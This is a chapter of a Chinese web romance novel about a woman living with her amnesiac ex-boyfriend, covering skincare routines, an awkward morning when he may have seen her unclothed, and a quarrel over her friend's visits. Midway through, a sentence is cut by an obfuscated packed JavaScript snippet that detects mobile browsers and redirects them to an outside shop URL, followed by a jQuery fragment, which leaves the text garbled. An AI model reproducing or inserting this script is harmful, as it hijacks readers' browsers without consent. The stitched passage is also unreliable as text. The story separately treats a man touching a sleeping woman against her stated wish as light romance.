11. 第 11 章
作品:《被失忆霸总缠上了》 翌日,阮今乔睡到自然醒。
一般情况下,如果她在晚上十一点上床睡觉,会在第二天的七点半到八点之间醒来。
而昨天她是十二点睡的,今天她一觉睡到九点半。
崽有自动喂食器投喂,沈应洲就只能饿肚子了。
阮今乔揉揉脸,慢吞吞地从床上坐起来。
“早啊。”她和沈应洲打招呼。
“不早了,现在是九点三十四分。”
“哦——”
阮今乔穿上拖鞋,去卫生间洗漱。
刚挤上牙膏,她突然想起,沈应洲的早饭归她管了。
她抬头看向站在一旁的沈应洲,问:“你不会……还没吃早饭吧。”
沈应洲说:“我喝了一杯水,吃了一点水果。”
“不好意思啊,我马上就去做饭。”
阮今乔仔细刷牙,简略洗脸。
昨天没涂面霜,早晨就不能偷懒了。
她打开面霜盖子,往脸上抹了两坨。
涂开的过程中,沈应洲突然问:“这是什么?”
“嗯?”阮今乔顺着他的手指看去,发现他正指着自己的脸,“这个啊,面霜。”
赫*娜黑绷带,贵妇级面霜,前男友——也就是沈应洲,友情赞助,柜子里还剩四罐没开封的。
平心而论,沈应洲大方得没边了,送礼物从来不问“想不想要”,而是直接就送到阮今乔面前。
阮今乔的家庭状况属于中等,日子过得还不错,但绝没到奢侈的地步。
刚开始她受宠若惊,总觉得收礼物不好,要还回去。
但当她识图搜物,看到沈应洲送的那些包包、首饰的价格时,倒吸一口冷气,心直接凉了。
真的还不起啊。
阮今乔对此很苦恼,不久,沈应洲又把一只黑色丝绒盒子递到她面前。
她没敢接,因为太贵重了。
“不喜欢吗?”
沈应洲问她,说着打开盒子,拿起那条布灵布灵闪光的手链,要给阮今乔戴上。
“看到它的时候,我就觉得很适合你。”
阮今乔很为难地说出她的顾虑。
听完后,沈应洲的眼里满是疑惑,他根本不能站在她的角度看待问题。
“抱歉,我没考虑到这个,不过你根本不需要担心,这都是我应该做的……”
结果就是,沈应洲送的东西越来越多,占了她一半的柜子。
阮今乔继续涂面霜,沈应洲凑得近了些,她往旁边躲了躲。
这是什么情况?难道沈应洲也想涂?
于是,阮今乔好客之心渐起,问他:“你……你要用吗?”
沈应洲不客气地点点头:“嗯,谢谢。”
“啊——好的。”
阮今乔往沈应洲脸上涂了两坨面霜,边示范边说:“就这样涂开就好了。”
沈应洲抬起手,照着阮今乔的样子,笨拙地抹了两下。
随即,他皱起眉头。
“怎么了?脸不舒服吗?”
阮今乔慌忙靠近,看沈应洲的皮肤有没有事。
沈应洲摇了摇头,“没有不舒服,只是……”
面霜的膏体是偏厚重,但抹开后润而不腻。
阮今乔不知道沈应洲是不是不适应,只好代劳。
她先涂好自己脸上的,再去帮沈应洲。
男人的骨相很好,皮肤也不错,八成有早睡早起的功劳。
阮今乔靠得不算近,她也早就习惯沈应洲盯着她看了,但要是再加上这种肢体接触,她就突然变得难为情起来。
心跳加速,体温上升,短短几十秒被拉得无限长——
终于涂好了。
阮今乔拿来自己的拍摄装备,走进厨房开始做早饭。
早饭很固定,三明治加豆浆。
鸡腿肉吃完了,阮今乔换成了腌制过的肉饼。
她用的面包比平常的大了一圈,三明治里夹的东西也很丰富。
早餐要吃好,这是她妈专门给她定的食谱,晚餐也有食谱,阮今乔通通要照做,不过午饭可以自由发挥。
沈应洲照旧也在当监工。
他什么都不干,就杵在那儿盯着阮今乔做饭。
什么都不做就是好的,让一个从来没下过厨的人帮忙,注定会手忙脚乱,搞得一团糟。
吃完早饭已经十点半了,阮今乔检查完几个平台的视频定时发布时间,就带着崽和沈应洲下楼散步。
沈应洲真是个神人,他专门为阮今乔带了两只一次性手套,在和狗玩扔球游戏时戴。
阮今乔欣然接受,因为有时候拒绝比接受更麻烦。
遛完狗到家,正好碰见厨工来送新鲜食材。
自从承包了沈应洲的餐饭,用料就上了一个level。
照例还是两个锅分开做。
在准备食材时,阮今乔特意把镜头拉近了些,才不至于拍到沈应洲。
吃完午饭,阮今乔歇了会儿就去睡觉了。
下午要剪视频,还要拍一个破壁机的广告植入,沈应洲则要去医院做检查。
晚饭不用阮今乔下厨,一般情况下,她的晚饭也十分清淡。
涮菜涮肉涮虾都是用清水锅,再配一个油醋碟,主食吃放了寿司醋的饭团。
下午五点半,新雪准时来蹭饭。
这是沈应洲的噩梦时间,不过幸好今天新雪没待太久,也没亲阮今乔。
囤的综艺看完了,阮今乔开始跟着视频练操。
沈应洲就坐在沙发上,看着阮今乔蹦蹦跳跳的。
小狗也跟着乱跳,像一只会动的白团子棉花。
刚运动完,阮今乔就急着敷面膜,敷上面膜后,还要叠一个泥膜。
沈应洲看着镜子里的阮今乔,又开始示意了。
阮今乔非常诧异,“……你不会也想敷面膜吧。”
“嗯,可以吗?”
阮今乔哪能说不行,她现在用的护肤品和化妆品全是沈应洲买的。
在柜子里堆了好多,她得使劲用才能赶在过期前消耗完。
现在来了个帮手,阮今乔终于不用担心会过期了。
“你先洗下脸。”
阮今乔撕开包装,把面膜整整齐齐地贴在沈应洲脸上。
“要是有不舒服,记得叫我。”
“嗯。”
十五分钟后,阮今乔顶着面膜进了浴室。
冲完澡后,她洗脸涂护肤品,沈应洲站在一旁等她弄完来帮自己。
已经有过一次经验了,阮今乔心硬如铁,三两下就给沈应洲涂好了面霜。
“好了。”
时间还早,才十点,阮今乔随便找了个之前的电视剧看。
看完一集还想看,但今天敷了面膜啊,熬夜就前功尽弃了。
而且昨天刚熬了夜。
没等片尾放完,阮今乔就关了电视。
她从沙发上站了起来,对沈应洲说:“晚安。”
“晚安。”
五月初,气温逐渐上升。
阮今乔睡到半夜感到一阵燥热,上床前,她换了一件轻薄的睡衣,就是为了减弱穿衣睡觉的不适。
但好像没什么用。
她翻来覆去的,好像床上有跳蚤,没一会儿,身上那件睡衣就被阮今乔扔了出来。
皮肤挨上柔软的薄被,阮今乔感到舒适万分,她把两条胳膊露在外面,小腿也露出一截。
就这样一夜到天明。
翌日一早,沈应洲向往常一样到阮今乔房间里报到。
不过,今天似乎和之前都不同。
沈应洲站在床前,盯着阮今乔裸露出来的臂膀看了半天。
然后,他得出一个结论——
之前阮今乔的肩膀两端有布料遮着,今天没有……
为什么没有呢。
沈应洲有些疑惑。
而且,另一个更大的问题也在困扰着他。
为什么只好像少了这么一点衣料,阮今乔就变得和之前非常不一样了……
他很困惑。
沈应洲的手在搭在膝头上。
他没像往常一样,用手抚摸阮今乔的头发和脸颊。
是的,就算阮今乔和他讲过,不准在她睡觉的时候乱摸,他也答应了,但他就是不照做。
因为沈应洲坚信,上次被发现是因为阮今乔睡得不沉。
所以,他只要在阮今乔熟睡时轻轻摸“一下”就好了。
但今天他迟迟没有动手,因为阮今乔看起来非常“危险”。
他又呆坐了十分钟,突然噌的起身,同手同脚地走出了卧室。
八点零三分,阮今乔醒了。
她先是伸了个懒腰,然后惊讶沈应洲竟然没在,再然后,她短暂担心这人不会偷偷跑出去了吧。
最后,她才发现——
她没穿衣服……
没穿衣服……
阮今乔差点被自己气晕过去……
她手忙脚乱地在床上乱扒一通,终于找到了那件睡裙。
她同样手忙脚乱地把衣服胡乱套上,连正反都没来得及看。
随即,阮今乔披着被子跑到门边,把门从里面反锁上。
一换衣服就要反锁一遍,一天要锁好多次。
阮今乔心如死灰地扑到床上。
天呐,让她死了算了。
沈应洲进来时她到底有没有好好盖被子?
阮今乔之前独居,经常醒来后发现自己只盖肚子,其他部位都露在外面。
要是今天早晨也是这样……
那画面,阮今乔真不敢想象。
她尴尬地在床上滚来滚去。
沈应洲看见了吗?
不会真看见了吧,所以才没坐在床头蹲自己。
虽然两个人什么都做了,但……
但还是很尴尬。
阮今乔的脚趾头蜷着,没一会儿就抽筋了。
她急忙狼狈地爬起来,用脚趾瞪着床面。
救命啊,为什么这样的事要发生在她身上。
九点钟,阮今乔裹得严严实实地从卧室出来了。
沈应洲没在客厅,阮今乔瞄了眼次卧,发现这人正坐在窗前。
她只能看见沈应洲的背部。
安静得出奇,竟然没黏着自己。
所以一定是看到了吗?
阮今乔的身形晃了下,看吧,她的裸/体对一个失忆患者造成了多大的冲击……
她沉默着洗漱,洗涑完去做饭。
阮今乔把豆浆和面包端到饭桌上,去叫沈应洲吃饭时发现——
这人一动不动,好像还保持着之前的姿势。
造孽……
怎么能让一个病人看到那样的画面?不知道对他造成了多大的危害……
阮今乔深感抱歉。
“吃饭了……”她弱弱地叫了声。
“……嗯,好。”
听到沈应洲应答,阮今乔就转身向餐桌走去。
饭桌上,两人都格外沉默。
虽说平常沈应洲话也不多,和今天没太大区别,但阮今乔话多啊,崽一过来蹭她,她就嘻嘻哈哈地说一大堆。
真尴尬,两个人都不敢抬头,默默地啃三明治。
刚吃完饭,沈应洲就急匆匆地走回次卧。
但阮今乔要用电脑,她就没一天不需要用电脑的。
阮今乔硬着头皮走进次卧,在书桌前坐下没多久,沈应洲就出去了。
天呐天呐,所以是真的看到了吗?
阮今乔无助地抱住自己,心都凉透了。
怎么这种事都能发生在她身上?
两人就这样拘谨且不知所措地度过了一整天。
阮今乔有时脸皮薄得要死,觉得这个坎没三个月绝对过不去,有时候又破罐子破摔,都上过不知道多少次床了,还差这一次吗?
她的脸皮一会儿比纸还薄,一会儿比城墙还厚,好悬没给自己整成精神分裂。
这种情况一直持续到新雪的到来。
沈应洲的异样她倒没发现,男人不配得到她的关注,不过阮今乔心情失落,她倒一眼就看出来了。
她不仅看出来了,还敏锐地察觉到不是单纯的失落。
还带着些羞涩和闪躲。
新雪猜到一种最糟糕的情况。
她心想,我的天呢我的天呢,果然是孤男寡女
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310854|198834||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
、干柴烈火,这才几天就烧起来了?!
一吃完饭,某失忆男人就迫不及待地回到了他的卧室。
新雪摇晃着身体,不停地去撞阮今乔的肩膀。
阮今乔叹了口气,“别逗我……”
“哼哼,什么情况啊?你和他上床了?”
新雪说起话来总是这么的直白、这么的石破天惊。
阮今乔的脸忽地烧起来,“……哎不是不是,没这回事。”
“那你这是怎么了?”新雪有些好奇,“这么别扭干什么?他也很别扭,你们吵架了,不像啊。”
阮今乔把电视的音量调大了一些。
“就是……今天早上,醒来后我发现自己是裸睡的。”
“你不一直裸睡吗?这怎么了?”
阮今乔想起来了,新雪还不知道她睡觉不锁门的事。
要是她把这事告诉新雪,准得被骂一顿。
“怎么了说话啊?急死我了,难道是沈应洲……”
“哎是我没锁门,因为我一把门上锁,沈应洲就一直敲……”
阮今乔继续说:“他可能看到了,因为每天早晨,他都会抱着狗坐在床头等我醒……今天他没在,而且整个人怪怪的……”
新雪目瞪口呆地看着阮今乔,“……你们两个真是,换一个人都达不到这种效果。”
她想了想那个画面,莫名有点搞笑。
“看到就看到呗,便宜这个狗男人了,让他大饱眼福……”
阮今乔一把捂住新雪的嘴,“我求你别说了……”
“这不是事实吗?而且是他看你,又不是你看他,你有什么好纠结的,要怪也是怪他,随便进人家女生的房间,就没想过会冒犯到人家吗?”
阮今乔点了点头,“你说的也是,但是……”
“但是什么,你又在苦恼什么?”
阮今乔深深地叹了口气,“但他是病人,这样会不会不太好?”
“哪儿不好?他算什么病人?”
阮今乔说:“他不是脑子不好吗?而且看他今天的反应,早晨的事对他冲击很大……”
新雪无语了,“什么玩意儿?真会装,真以为自己失忆了,就能装处/男了?”
阮今乔被新雪逗笑了,拍了拍她的肩,“你别这么说……”
“这不就是事实吗?还挺会的,知道装清纯……”
两人胡乱说了一会儿话,新雪安慰阮今乔,让她别理这个脑筋多的男人,他爱怎么样就怎么样。
“嗯,我知道了。”
“要不今晚我陪你睡吧,保不齐某人会干出来什么匪夷所思的事。”
“不用了,他没对我怎么着过。”
“行吧,那我走了,你别理他,他爱怎么着就怎么着。”
“嗯行。”
深夜,沈应洲躺在床上,迟迟没进入睡眠状态。
他想明白了,早上阮今乔没穿衣服……
没穿衣服……
沈应洲的脑海中划过几帧破碎模糊的画面。
他好像见过……
——
翌日,沈应洲仍没恢复“正常”,他还在躲着阮今乔。
这样的情况持续了三天。
从第四天开始,阮今乔在清晨六点多听到了敲门声。
熟悉的敲三下停一下。
她睡的熟,不知道沈应洲敲了多久的门。
阮今乔下床开门,“怎么了?”
门外的沈应洲抱着还在睡觉的崽崽,说:“门被锁了,打不开。”
“崽还在睡觉,你不要打扰它。”
沈应洲用左手摸了摸狗头,“它没醒。”
阮今乔哦了声,转过身走了几步,爬上床继续睡觉。
家里又恢复成之前的样子了。
阮今乔的睡衣换成了一件带系带的吊带,在睡梦中绝对脱不下来。
新雪照旧每天都来蹭晚饭,这段时间同样也是沈应洲最不希望到来的。
原本是两人一狗的世界,现在平白无故地插进来一个人,沈应洲认为平衡被她打破了,自己的心情和生活都受到了很大的影响。
只有偶尔个别时候,新雪才不会来,那样的情况太少了,沈应洲只遇到过一次。
就这样过了十天,沈应洲的忍耐终于超出极限。
等新雪一走,他就叫住阮今乔,“我们需要谈一谈。”
“啊?”阮今乔看着沈应洲格外认真的表情,“好吧,谈什么?”
“你不要让新雪每天都来了,她非常打扰我……”
“没有吧,”阮今乔很不能理解沈应洲的这个想法,“怎么会?我觉得没有打扰到你。”
“她说话的音量很大,笑声也是,总是突然发出一些让人感到不愉快的声音,你不要让她到家里来了。”
沈应洲越说越气,“我也不想再为她多提供一份晚餐,但是如果她不到家里来,我可以让人把饭送到她那儿。”
“你不能这样说她,”阮今乔不怎么高兴了,“她是我最好的朋友,我觉得和最好的朋友每天都有相处的时间,是一件非常难得的事。”
“如果你觉得吵,那你每天这个时间去对面就好了。”
“为什么是我离开?明明制造噪音的人是她。”
“因为这是我家,我想让她待在这儿。”阮今乔说。
沈应洲认为自己已经忍耐力十天,做出来非常大的牺牲,而阮今乔看起来一点都不在意他的付出。
“我不欢迎她的到来……”
“不需要你的欢迎,有我的欢迎就够了,她又不是来找你的。”
阮今乔不想再和沈应洲说话了,两人的交流最好现在就停止。
沈应洲还想说点什么,但阮今乔制止了他,说不想听他说话。
这对沈应洲来讲,是一个非常大的伤害。
阮今乔懒得理他,她不明白沈应洲怎么变成了现在这样?之前明明也没这么小气。
真是令人匪夷所思。
沈应洲的谈判失败,两人又开始冷暴力对方。
新雪还是每天都来吃晚饭,和阮今乔边吃边聊,看起来笑得都很开心。
所以,不开心的人只剩沈应洲自己。

